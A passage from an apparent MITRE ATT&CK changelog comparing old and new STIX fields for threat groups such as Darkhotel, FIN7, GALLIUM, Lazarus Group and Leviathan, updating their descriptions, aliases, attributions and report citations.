| external_references[11]['description'] | Europol. (2018, March 26). Mastermind Behind EUR 1 Billion Cyber Bank Robbery Arrested in Spain. Retrieved October 10, 2018. | Klijnsma, Y.. (2018, January 16). First Activities of Cobalt Group in 2018: Spear Phishing Russian Banks. Retrieved October 10, 2018. |
| external_references[11]['url'] | https://www.europol.europa.eu/newsroom/news/mastermind-behind-eur-1-billion-cyber-bank-robbery-arrested-in-spain | https://www.riskiq.com/blog/labs/cobalt-group-spear-phishing-russian-banks/ |
| external_references[12]['source_name'] | Crowdstrike Global Threat Report Feb 2018 | Europol Cobalt Mar 2018 |
| external_references[12]['description'] | CrowdStrike. (2018, February 26). CrowdStrike 2018 Global Threat Report. Retrieved October 10, 2018. | Europol. (2018, March 26). Mastermind Behind EUR 1 Billion Cyber Bank Robbery Arrested in Spain. Retrieved October 10, 2018. |
| external_references[12]['url'] | https://crowdstrike.lookbookhq.com/global-threat-report-2018-web/cs-2018-global-threat-report | https://www.europol.europa.eu/newsroom/news/mastermind-behind-eur-1-billion-cyber-bank-robbery-arrested-in-spain |
| external_references[13]['source_name'] | Morphisec Cobalt Gang Oct 2018 | Secureworks GOLD KINGSWOOD September 2018 |
| external_references[13]['description'] | Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018. | CTU. (2018, September 27). Cybercriminals Increasingly Trying to Ensnare the Big Financial Fish. Retrieved September 20, 2021. |
| external_references[13]['url'] | https://blog.morphisec.com/cobalt-gang-2.0 | https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish |
| x_mitre_version | 1.2 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | GOLD KINGSWOOD | |
| external_references | {'source_name': 'Crowdstrike Global Threat Report Feb 2018', 'description': 'CrowdStrike. (2018, February 26). CrowdStrike 2018 Global Threat Report. Retrieved October 10, 2018.', 'url': 'https://crowdstrike.lookbookhq.com/global-threat-report-2018-web/cs-2018-global-threat-report'} | |
| external_references | {'source_name': 'Morphisec Cobalt Gang Oct 2018', 'description': 'Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018.', 'url': 'https://blog.morphisec.com/cobalt-gang-2.0'} |
Current version: 2.0
Version changed from: 1.2 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Darkhotel](https://attack.mitre.org/groups/G0012) is a thre | t | 1 | [Darkhotel](https://attack.mitre.org/groups/G0012) is a susp |
| > | at group that has been active since at least 2004. The group | > | ected South Korean threat group that has targeted victims pr | ||
| > | has conducted activity on hotel and business center Wi‑Fi a | > | imarily in East Asia since at least 2004. The group's name i | ||
| > | nd physical connections as well as peer-to-peer and file sha | > | s based on cyber espionage operations conducted via hotel In | ||
| > | ring networks. The actors have also conducted spearphishing. | > | ternet networks against traveling executives and other selec | ||
| > | (Citation: Kaspersky Darkhotel) | > | t guests. [Darkhotel](https://attack.mitre.org/groups/G0012) | ||
| > | has also conducted spearphishing campaigns and infected vic | ||||
| > | tims through peer-to-peer and file sharing networks.(Citatio | ||||
| > | n: Kaspersky Darkhotel)(Citation: Securelist Darkhotel Aug 2 | ||||
| > | 015)(Citation: Microsoft Digital Defense FY20 Sept 2020) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Harry, CODEMIZE'] |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070903/darkhotel_kl_07.11.pdf |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 18:56:21.706000+00:00 | 2021-04-22 17:37:58.136000+00:00 |
| description | [Darkhotel](https://attack.mitre.org/groups/G0012) is a threat group that has been active since at least 2004. The group has conducted activity on hotel and business center Wi‑Fi and physical connections as well as peer-to-peer and file sharing networks. The actors have also conducted spearphishing. (Citation: Kaspersky Darkhotel) | [Darkhotel](https://attack.mitre.org/groups/G0012) is a suspected South Korean threat group that has targeted victims primarily in East Asia since at least 2004. The group's name is based on cyber espionage operations conducted via hotel Internet networks against traveling executives and other select guests. [Darkhotel](https://attack.mitre.org/groups/G0012) has also conducted spearphishing campaigns and infected victims through peer-to-peer and file sharing networks.(Citation: Kaspersky Darkhotel)(Citation: Securelist Darkhotel Aug 2015)(Citation: Microsoft Digital Defense FY20 Sept 2020) |
| external_references[2]['source_name'] | Kaspersky Darkhotel | DUBNIUM |
| external_references[2]['description'] | Kaspersky Lab's Global Research and Analysis Team. (2014, November). The Darkhotel APT A Story of Unusual Hospitality. Retrieved November 12, 2014. | (Citation: Microsoft Digital Defense FY20 Sept 2020)(Citation: Microsoft DUBNIUM June 2016)(Citation: Microsoft DUBNIUM Flash June 2016)(Citation: Microsoft DUBNIUM July 2016) |
| x_mitre_version | 1.2 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | DUBNIUM | |
| external_references | {'source_name': 'Kaspersky Darkhotel', 'description': "Kaspersky Lab's Global Research and Analysis Team. (2014, November). The Darkhotel APT A Story of Unusual Hospitality. Retrieved November 12, 2014.", 'url': 'https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070903/darkhotel_kl_07.11.pdf'} | |
| external_references | {'source_name': 'Securelist Darkhotel Aug 2015', 'description': "Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.", 'url': 'https://securelist.com/darkhotels-attacks-in-2015/71713/'} | |
| external_references | {'source_name': 'Microsoft Digital Defense FY20 Sept 2020', 'description': 'Microsoft . (2020, September 29). Microsoft Digital Defense Report FY20. Retrieved April 21, 2021.', 'url': 'https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RWxPuf'} | |
| external_references | {'source_name': 'Microsoft DUBNIUM June 2016', 'description': 'Microsoft. (2016, June 9). Reverse-engineering DUBNIUM. Retrieved March 31, 2021.', 'url': 'https://www.microsoft.com/security/blog/2016/06/09/reverse-engineering-dubnium-2/'} | |
| external_references | {'source_name': 'Microsoft DUBNIUM Flash June 2016', 'description': 'Microsoft. (2016, June 20). Reverse-engineering DUBNIUM’s Flash-targeting exploit. Retrieved March 31, 2021.', 'url': 'https://www.microsoft.com/security/blog/2016/06/20/reverse-engineering-dubniums-flash-targeting-exploit/'} | |
| external_references | {'source_name': 'Microsoft DUBNIUM July 2016', 'description': 'Microsoft. (2016, July 14). Reverse engineering DUBNIUM – Stage 2 payload analysis . Retrieved March 31, 2021.', 'url': 'https://www.microsoft.com/security/blog/2016/07/14/reverse-engineering-dubnium-stage-2-payload-analysis/'} |
Current version: 2.0
Version changed from: 1.5 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [FIN7](https://attack.mitre.org/groups/G0046) is a financial | t | 1 | [FIN7](https://attack.mitre.org/groups/G0046) is a financial |
| > | ly-motivated threat group that has primarily targeted the U. | > | ly-motivated threat group that has been active since 2013 pr | ||
| > | S. retail, restaurant, and hospitality sectors since mid-201 | > | imarily targeting the U.S. retail, restaurant, and hospitali | ||
| > | 5. They often use point-of-sale malware. A portion of [FIN7] | > | ty sectors, often using point-of-sale malware. A portion of | ||
| > | (https://attack.mitre.org/groups/G0046) was run out of a fro | > | [FIN7](https://attack.mitre.org/groups/G0046) was run out of | ||
| > | nt company called Combi Security. [FIN7](https://attack.mitr | > | a front company called Combi Security. Since 2020 [FIN7](ht | ||
| > | e.org/groups/G0046) is sometimes referred to as [Carbanak](h | > | tps://attack.mitre.org/groups/G0046) shifted operations to a | ||
| > | ttps://attack.mitre.org/groups/G0008) Group, but these appea | > | big game hunting (BGH) approach including use of [REvil](ht | ||
| > | r to be two groups using the same [Carbanak](https://attack. | > | tps://attack.mitre.org/software/S0496) ransomware and their | ||
| > | mitre.org/software/S0030) malware and are therefore tracked | > | own Ransomware as a Service (RaaS), Darkside. [FIN7](https:/ | ||
| > | separately. (Citation: FireEye FIN7 March 2017) (Citation: F | > | /attack.mitre.org/groups/G0046) may be linked to the [Carban | ||
| > | ireEye FIN7 April 2017) (Citation: FireEye CARBANAK June 201 | > | ak](https://attack.mitre.org/groups/G0008) Group, but there | ||
| > | 7) (Citation: FireEye FIN7 Aug 2018) | > | appears to be several groups using [Carbanak](https://attack | ||
| > | .mitre.org/software/S0030) malware and are therefore tracked | ||||
| > | separately.(Citation: FireEye FIN7 March 2017)(Citation: Fi | ||||
| > | reEye FIN7 April 2017)(Citation: FireEye CARBANAK June 2017) | ||||
| > | (Citation: FireEye FIN7 Aug 2018)(Citation: CrowdStrike Carb | ||||
| > | on Spider August 2021) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html | |
| external_references | https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html | |
| external_references | https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 18:47:28.215000+00:00 | 2021-10-19 00:02:08.486000+00:00 |
| description | [FIN7](https://attack.mitre.org/groups/G0046) is a financially-motivated threat group that has primarily targeted the U.S. retail, restaurant, and hospitality sectors since mid-2015. They often use point-of-sale malware. A portion of [FIN7](https://attack.mitre.org/groups/G0046) was run out of a front company called Combi Security. [FIN7](https://attack.mitre.org/groups/G0046) is sometimes referred to as [Carbanak](https://attack.mitre.org/groups/G0008) Group, but these appear to be two groups using the same [Carbanak](https://attack.mitre.org/software/S0030) malware and are therefore tracked separately. (Citation: FireEye FIN7 March 2017) (Citation: FireEye FIN7 April 2017) (Citation: FireEye CARBANAK June 2017) (Citation: FireEye FIN7 Aug 2018) | [FIN7](https://attack.mitre.org/groups/G0046) is a financially-motivated threat group that has been active since 2013 primarily targeting the U.S. retail, restaurant, and hospitality sectors, often using point-of-sale malware. A portion of [FIN7](https://attack.mitre.org/groups/G0046) was run out of a front company called Combi Security. Since 2020 [FIN7](https://attack.mitre.org/groups/G0046) shifted operations to a big game hunting (BGH) approach including use of [REvil](https://attack.mitre.org/software/S0496) ransomware and their own Ransomware as a Service (RaaS), Darkside. [FIN7](https://attack.mitre.org/groups/G0046) may be linked to the [Carbanak](https://attack.mitre.org/groups/G0008) Group, but there appears to be several groups using [Carbanak](https://attack.mitre.org/software/S0030) malware and are therefore tracked separately.(Citation: FireEye FIN7 March 2017)(Citation: FireEye FIN7 April 2017)(Citation: FireEye CARBANAK June 2017)(Citation: FireEye FIN7 Aug 2018)(Citation: CrowdStrike Carbon Spider August 2021) |
| external_references[2]['source_name'] | FireEye FIN7 March 2017 | GOLD NIAGARA |
| external_references[2]['description'] | Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017. | (Citation: Secureworks GOLD NIAGARA Threat Profile) |
| external_references[3]['source_name'] | FireEye FIN7 April 2017 | ITG14 |
| external_references[3]['description'] | Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017. | ITG14 shares campaign overlap with FIN7.(Citation: IBM Ransomware Trends September 2020) |
| external_references[4]['source_name'] | FireEye CARBANAK June 2017 | Carbon Spider |
| external_references[4]['description'] | Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018. | (Citation: CrowdStrike Carbon Spider August 2021) |
| external_references[5]['source_name'] | FireEye FIN7 Aug 2018 | FireEye FIN7 March 2017 |
| external_references[5]['description'] | Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018. | Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017. |
| external_references[5]['url'] | https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html | https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html |
| external_references[6]['source_name'] | Morphisec FIN7 June 2017 | FireEye FIN7 April 2017 |
| external_references[6]['description'] | Gorelik, M.. (2017, June 9). FIN7 Takes Another Bite at the Restaurant Industry. Retrieved July 13, 2017. | Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017. |
| external_references[6]['url'] | http://blog.morphisec.com/fin7-attacks-restaurant-industry | https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html |
| external_references[7]['source_name'] | FireEye FIN7 Shim Databases | FireEye CARBANAK June 2017 |
| external_references[7]['description'] | Erickson, J., McWhirt, M., Palombo, D. (2017, May 3). To SDB, Or Not To SDB: FIN7 Leveraging Shim Databases for Persistence. Retrieved July 18, 2017. | Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018. |
| external_references[7]['url'] | https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html | https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html |
| x_mitre_version | 1.5 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | GOLD NIAGARA | |
| aliases | ITG14 | |
| aliases | Carbon Spider | |
| external_references | {'source_name': 'FireEye FIN7 Aug 2018', 'description': 'Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.', 'url': 'https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html'} | |
| external_references | {'source_name': 'CrowdStrike Carbon Spider August 2021', 'description': 'Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021.', 'url': 'https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/'} | |
| external_references | {'source_name': 'Morphisec FIN7 June 2017', 'description': 'Gorelik, M.. (2017, June 9). FIN7 Takes Another Bite at the Restaurant Industry. Retrieved July 13, 2017.', 'url': 'http://blog.morphisec.com/fin7-attacks-restaurant-industry'} | |
| external_references | {'source_name': 'FireEye FIN7 Shim Databases', 'description': 'Erickson, J., McWhirt, M., Palombo, D. (2017, May 3). To SDB, Or Not To SDB: FIN7 Leveraging Shim Databases for Persistence. Retrieved July 18, 2017.', 'url': 'https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html'} | |
| external_references | {'source_name': 'Secureworks GOLD NIAGARA Threat Profile', 'description': 'CTU. (n.d.). GOLD NIAGARA. Retrieved September 21, 2021.', 'url': 'https://www.secureworks.com/research/threat-profiles/gold-niagara'} | |
| external_references | {'source_name': 'IBM Ransomware Trends September 2020', 'description': 'Singleton, C. and Kiefer, C. (2020, September 28). Ransomware 2020: Attack Trends Affecting Organizations Worldwide. Retrieved September 20, 2021.', 'url': 'https://securityintelligence.com/posts/ransomware-2020-attack-trends-new-techniques-affecting-organizations-worldwide/'} |
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Operation [Soft Cell](https://attack.mitre.org/groups/G0093) | t | 1 | [GALLIUM](https://attack.mitre.org/groups/G0093) is a group |
| > | is a group that is reportedly affiliated with China and is | > | that has been active since at least 2012, primarily targetin | ||
| > | likely state-sponsored. The group has operated since at leas | > | g high-profile telecommunications networks. [GALLIUM](https: | ||
| > | t 2012 and has compromised high-profile telecommunications n | > | //attack.mitre.org/groups/G0093) has been identified in some | ||
| > | etworks.(Citation: Cybereason Soft Cell June 2019) | > | reporting as likely a Chinese state-sponsored group, based | ||
| > | in part on tools used and TTPs commonly associated with Chin | ||||
| > | ese threat actors.(Citation: Cybereason Soft Cell June 2019) | ||||
| > | (Citation: Microsoft GALLIUM December 2019) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 02:45:28.994000+00:00 | 2021-04-23 01:32:21.874000+00:00 |
| name | Soft Cell | GALLIUM |
| description | Operation [Soft Cell](https://attack.mitre.org/groups/G0093) is a group that is reportedly affiliated with China and is likely state-sponsored. The group has operated since at least 2012 and has compromised high-profile telecommunications networks.(Citation: Cybereason Soft Cell June 2019) | [GALLIUM](https://attack.mitre.org/groups/G0093) is a group that has been active since at least 2012, primarily targeting high-profile telecommunications networks. [GALLIUM](https://attack.mitre.org/groups/G0093) has been identified in some reporting as likely a Chinese state-sponsored group, based in part on tools used and TTPs commonly associated with Chinese threat actors.(Citation: Cybereason Soft Cell June 2019)(Citation: Microsoft GALLIUM December 2019) |
| aliases[0] | Soft Cell | GALLIUM |
| external_references[1]['source_name'] | Soft Cell | GALLIUM |
| external_references[1]['description'] | (Citation: Cybereason Soft Cell June 2019) | (Citation: Microsoft GALLIUM December 2019) |
| external_references[2]['source_name'] | Cybereason Soft Cell June 2019 | Operation Soft Cell |
| external_references[2]['description'] | Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019. | (Citation: Cybereason Soft Cell June 2019) |
| x_mitre_version | 1.1 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | Operation Soft Cell | |
| external_references | {'source_name': 'Cybereason Soft Cell June 2019', 'description': 'Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.', 'url': 'https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers'} | |
| external_references | {'source_name': 'Microsoft GALLIUM December 2019', 'description': 'MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021.', 'url': 'https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/'} | |
| x_mitre_contributors | Daniyal Naeem, BT Security |
Current version: 2.0
Version changed from: 1.4 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Lazarus Group](https://attack.mitre.org/groups/G0032) is a | t | 1 | [Lazarus Group](https://attack.mitre.org/groups/G0032) is a |
| > | threat group that has been attributed to the North Korean go | > | North Korean state-sponsored cyber threat group that has bee | ||
| > | vernment.(Citation: US-CERT HIDDEN COBRA June 2017) The grou | > | n attributed to the Reconnaissance General Bureau.(Citation: | ||
| > | p has been active since at least 2009 and was reportedly res | > | US-CERT HIDDEN COBRA June 2017)(Citation: Treasury North Ko | ||
| > | ponsible for the November 2014 destructive wiper attack agai | > | rean Cyber Groups September 2019) The group has been active | ||
| > | nst Sony Pictures Entertainment as part of a campaign named | > | since at least 2009 and was reportedly responsible for the N | ||
| > | Operation Blockbuster by Novetta. Malware used by [Lazarus G | > | ovember 2014 destructive wiper attack against Sony Pictures | ||
| > | roup](https://attack.mitre.org/groups/G0032) correlates to o | > | Entertainment as part of a campaign named Operation Blockbus | ||
| > | ther reported campaigns, including Operation Flame, Operatio | > | ter by Novetta. Malware used by [Lazarus Group](https://atta | ||
| > | n 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain. | > | ck.mitre.org/groups/G0032) correlates to other reported camp | ||
| > | (Citation: Novetta Blockbuster) In late 2017, [Lazarus Grou | > | aigns, including Operation Flame, Operation 1Mission, Operat | ||
| > | p](https://attack.mitre.org/groups/G0032) used KillDisk, a d | > | ion Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novett | ||
| > | isk-wiping tool, in an attack against an online casino based | > | a Blockbuster) North Korean group definitions are known to | ||
| > | in Central America. (Citation: Lazarus KillDisk) North Kor | > | have significant overlap, and some security researchers repo | ||
| > | ean group definitions are known to have significant overlap, | > | rt all North Korean state-sponsored cyber activity under the | ||
| > | and the name [Lazarus Group](https://attack.mitre.org/group | > | name [Lazarus Group](https://attack.mitre.org/groups/G0032) | ||
| > | s/G0032) is known to encompass a broad range of activity. So | > | instead of tracking clusters or subgroups, such as [Andarie | ||
| > | me organizations use the name Lazarus Group to refer to any | > | l](https://attack.mitre.org/groups/G0138), [APT37](https://a | ||
| > | activity attributed to North Korea.(Citation: US-CERT HIDDEN | > | ttack.mitre.org/groups/G0067), [APT38](https://attack.mitre. | ||
| > | COBRA June 2017) Some organizations track North Korean clus | > | org/groups/G0082), and [Kimsuky](https://attack.mitre.org/gr | ||
| > | ters or groups such as Bluenoroff,(Citation: Kaspersky Lazar | > | oups/G0094). | ||
| > | us Under The Hood Blog 2017) [APT37](https://attack.mitre.or | ||||
| > | g/groups/G0067), and [APT38](https://attack.mitre.org/groups | ||||
| > | /G0082) separately, while other organizations may track some | ||||
| > | activity associated with those group names by the name Laza | ||||
| > | rus Group. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-02 16:21:21.624000+00:00 | 2021-10-14 22:04:58.182000+00:00 |
| description | [Lazarus Group](https://attack.mitre.org/groups/G0032) is a threat group that has been attributed to the North Korean government.(Citation: US-CERT HIDDEN COBRA June 2017) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novetta Blockbuster) In late 2017, [Lazarus Group](https://attack.mitre.org/groups/G0032) used KillDisk, a disk-wiping tool, in an attack against an online casino based in Central America. (Citation: Lazarus KillDisk) North Korean group definitions are known to have significant overlap, and the name [Lazarus Group](https://attack.mitre.org/groups/G0032) is known to encompass a broad range of activity. Some organizations use the name Lazarus Group to refer to any activity attributed to North Korea.(Citation: US-CERT HIDDEN COBRA June 2017) Some organizations track North Korean clusters or groups such as Bluenoroff,(Citation: Kaspersky Lazarus Under The Hood Blog 2017) [APT37](https://attack.mitre.org/groups/G0067), and [APT38](https://attack.mitre.org/groups/G0082) separately, while other organizations may track some activity associated with those group names by the name Lazarus Group. | [Lazarus Group](https://attack.mitre.org/groups/G0032) is a North Korean state-sponsored cyber threat group that has been attributed to the Reconnaissance General Bureau.(Citation: US-CERT HIDDEN COBRA June 2017)(Citation: Treasury North Korean Cyber Groups September 2019) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novetta Blockbuster) North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups, such as [Andariel](https://attack.mitre.org/groups/G0138), [APT37](https://attack.mitre.org/groups/G0067), [APT38](https://attack.mitre.org/groups/G0082), and [Kimsuky](https://attack.mitre.org/groups/G0094). |
| external_references[7]['source_name'] | Novetta Blockbuster | Treasury North Korean Cyber Groups September 2019 |
| external_references[7]['description'] | Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016. | US Treasury . (2019, September 13). Treasury Sanctions North Korean State-Sponsored Malicious Cyber Groups. Retrieved September 29, 2021. |
| external_references[7]['url'] | https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf | https://home.treasury.gov/news/press-releases/sm774 |
| external_references[8]['source_name'] | Lazarus KillDisk | Novetta Blockbuster |
| external_references[8]['description'] | Kálnai, P., Cherepanov A. (2018, April 03). Lazarus KillDisks Central American casino. Retrieved May 17, 2018. | Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016. |
| external_references[8]['url'] | https://www.welivesecurity.com/2018/04/03/lazarus-killdisk-central-american-casino/ | https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf |
| external_references[9]['source_name'] | Kaspersky Lazarus Under The Hood Blog 2017 | US-CERT HOPLIGHT Apr 2019 |
| external_references[9]['description'] | GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019. | US-CERT. (2019, April 10). MAR-10135536-8 – North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019. |
| external_references[9]['url'] | https://securelist.com/lazarus-under-the-hood/77908/ | https://www.us-cert.gov/ncas/analysis-reports/AR19-100A |
| external_references[10]['source_name'] | US-CERT HOPLIGHT Apr 2019 | Microsoft ZINC disruption Dec 2017 |
| external_references[10]['description'] | US-CERT. (2019, April 10). MAR-10135536-8 – North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019. | Smith, B. (2017, December 19). Microsoft and Facebook disrupt ZINC malware attack to protect customers and the internet from ongoing cyberthreats. Retrieved December 20, 2017. |
| external_references[10]['url'] | https://www.us-cert.gov/ncas/analysis-reports/AR19-100A | https://blogs.microsoft.com/on-the-issues/2017/12/19/microsoft-facebook-disrupt-zinc-malware-attack-protect-customers-internet-ongoing-cyberthreats/ |
| external_references[11]['source_name'] | Microsoft ZINC disruption Dec 2017 | Secureworks NICKEL ACADEMY Dec 2017 |
| external_references[11]['description'] | Smith, B. (2017, December 19). Microsoft and Facebook disrupt ZINC malware attack to protect customers and the internet from ongoing cyberthreats. Retrieved December 20, 2017. | Secureworks. (2017, December 15). Media Alert - Secureworks Discovers North Korean Cyber Threat Group, Lazarus, Spearphishing Financial Executives of Cryptocurrency Companies. Retrieved December 27, 2017. |
| external_references[11]['url'] | https://blogs.microsoft.com/on-the-issues/2017/12/19/microsoft-facebook-disrupt-zinc-malware-attack-protect-customers-internet-ongoing-cyberthreats/ | https://www.secureworks.com/about/press/media-alert-secureworks-discovers-north-korean-cyber-threat-group-lazarus-spearphishing |
| x_mitre_version | 1.4 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Secureworks NICKEL ACADEMY Dec 2017', 'description': 'Secureworks. (2017, December 15). Media Alert - Secureworks Discovers North Korean Cyber Threat Group, Lazarus, Spearphishing Financial Executives of Cryptocurrency Companies. Retrieved December 27, 2017.', 'url': 'https://www.secureworks.com/about/press/media-alert-secureworks-discovers-north-korean-cyber-threat-group-lazarus-spearphishing'} |
Current version: 3.0
Version changed from: 2.1 → 3.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Leviathan](https://attack.mitre.org/groups/G0065) is a cybe | t | 1 | [Leviathan](https://attack.mitre.org/groups/G0065) is a Chin |
| > | r espionage group that has been active since at least 2013. | > | ese state-sponsored cyber espionage group that has been attr | ||
| > | The group generally targets defense and government organizat | > | ibuted to the Ministry of State Security's (MSS) Hainan Stat | ||
| > | ions, but has also targeted a range of industries including | > | e Security Department and an affiliated front company.(Citat | ||
| > | engineering firms, shipping and transportation, manufacturin | > | ion: CISA AA21-200A APT40 July 2021) Active since at least 2 | ||
| > | g, defense, government offices, and research universities in | > | 009, [Leviathan](https://attack.mitre.org/groups/G0065) has | ||
| > | the United States, Western Europe, and along the South Chin | > | targeted the following sectors: academia, aerospace/aviation | ||
| > | a Sea. (Citation: Proofpoint Leviathan Oct 2017) (Citation: | > | , biomedical, defense industrial base, government, healthcar | ||
| > | FireEye Periscope March 2018) | > | e, manufacturing, maritime, and transportation across the US | ||
| > | , Canada, Europe, the Middle East, and Southeast Asia.(Citat | ||||
| > | ion: CISA AA21-200A APT40 July 2021)(Citation: Proofpoint Le | ||||
| > | viathan Oct 2017)(Citation: FireEye Periscope March 2018) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets | |
| external_references | https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html | |
| external_references | https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 01:06:24.797000+00:00 | 2021-10-14 20:34:57.289000+00:00 |
| description | [Leviathan](https://attack.mitre.org/groups/G0065) is a cyber espionage group that has been active since at least 2013. The group generally targets defense and government organizations, but has also targeted a range of industries including engineering firms, shipping and transportation, manufacturing, defense, government offices, and research universities in the United States, Western Europe, and along the South China Sea. (Citation: Proofpoint Leviathan Oct 2017) (Citation: FireEye Periscope March 2018) | [Leviathan](https://attack.mitre.org/groups/G0065) is a Chinese state-sponsored cyber espionage group that has been attributed to the Ministry of State Security's (MSS) Hainan State Security Department and an affiliated front company.(Citation: CISA AA21-200A APT40 July 2021) Active since at least 2009, [Leviathan](https://attack.mitre.org/groups/G0065) has targeted the following sectors: academia, aerospace/aviation, biomedical, defense industrial base, government, healthcare, manufacturing, maritime, and transportation across the US, Canada, Europe, the Middle East, and Southeast Asia.(Citation: CISA AA21-200A APT40 July 2021)(Citation: Proofpoint Leviathan Oct 2017)(Citation: FireEye Periscope March 2018) |
| external_references[2]['source_name'] | TEMP.Jumper | MUDCARP |
| external_references[2]['description'] | Leviathan was previously reported upon by FireEye as TEMP.Periscope and TEMP.Jumper.(Citation: FireEye APT40 March 2019) | (Citation: CISA AA21-200A APT40 July 2021)(Citation: Accenture MUDCARP March 2019) |
| external_references[3]['source_name'] | APT40 | Kryptonite Panda |
